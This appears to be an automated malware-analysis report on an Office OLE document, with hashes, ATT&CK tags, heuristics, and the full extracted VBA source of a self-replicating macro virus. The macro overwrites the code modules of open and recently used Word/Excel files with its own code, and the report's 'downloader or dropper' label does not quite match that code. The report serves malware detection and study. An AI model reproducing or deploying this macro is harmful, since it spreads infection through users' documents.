Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8e2e458453752973…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-10-07 18:37:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 880680cc64b9a95e360fc1bf765f3392 SHA-1: 3c603f64f45995b6248afe0c09d1525919a7801b SHA-256: 8e2e4584537529730f7312d60c8c7c80088b4e0080a22e10002b44dc31c3af73
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with Document_Open and Workbook_Open auto-executing functions. The 'Cross_Lys' function attempts to inject its code into other open documents or recent files and save them, indicating a downloader or dropper functionality. The use of CreateObject and GetObject further supports the execution of arbitrary code.

Heuristics 6

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1736 bytes
SHA-256: c1ba955dba6684dd824cfcb6e7b92837f4480eadbfed2505ab4c237f0d34edb8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Workbook_Open()
Cross_Lys Workbooks, ThisWorkbook, "Word.Application"
End Sub
Private Sub Document_Open()
Cross_Lys Documents, ThisDocument, "Excel.Application"
End Sub
Private Function Cross_Lys(Target As Object, Host As Object, Cross As String)
On Error Resume Next
MyCode = Host.VBProject.VBComponents(1).CodeModule.Lines(1, Host.VBProject.VBComponents(1).CodeModule.CountOfLines)
For X = 1 To Target.Count
With Target(X).VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString MyCode
Target(X).SaveAs FileName:=Documents(X).FullName
End With
Next
Set CrossApp = GetObject(, Cross)
If CrossApp = "" Then
Set CrossApp = CreateObject(Cross)
CrossQuit = True
End If
If CrossApp.Application.RecentFiles.Count >= 1 Then
For X = 1 To CrossApp.Application.RecentFiles.Count
With CrossApp.Application.RecentFiles(X).Open
.VBProject.VBComponents(1).CodeModule.DeleteLines 1, .VBProject.VBComponents(1).CodeModule.CountOfLines
.VBProject.VBComponents(1).CodeModule.AddFromString MyCode
.SaveAs FileName:=.FullName
End With
Next
If CrossQuit = True Then CrossApp.Quit
End Function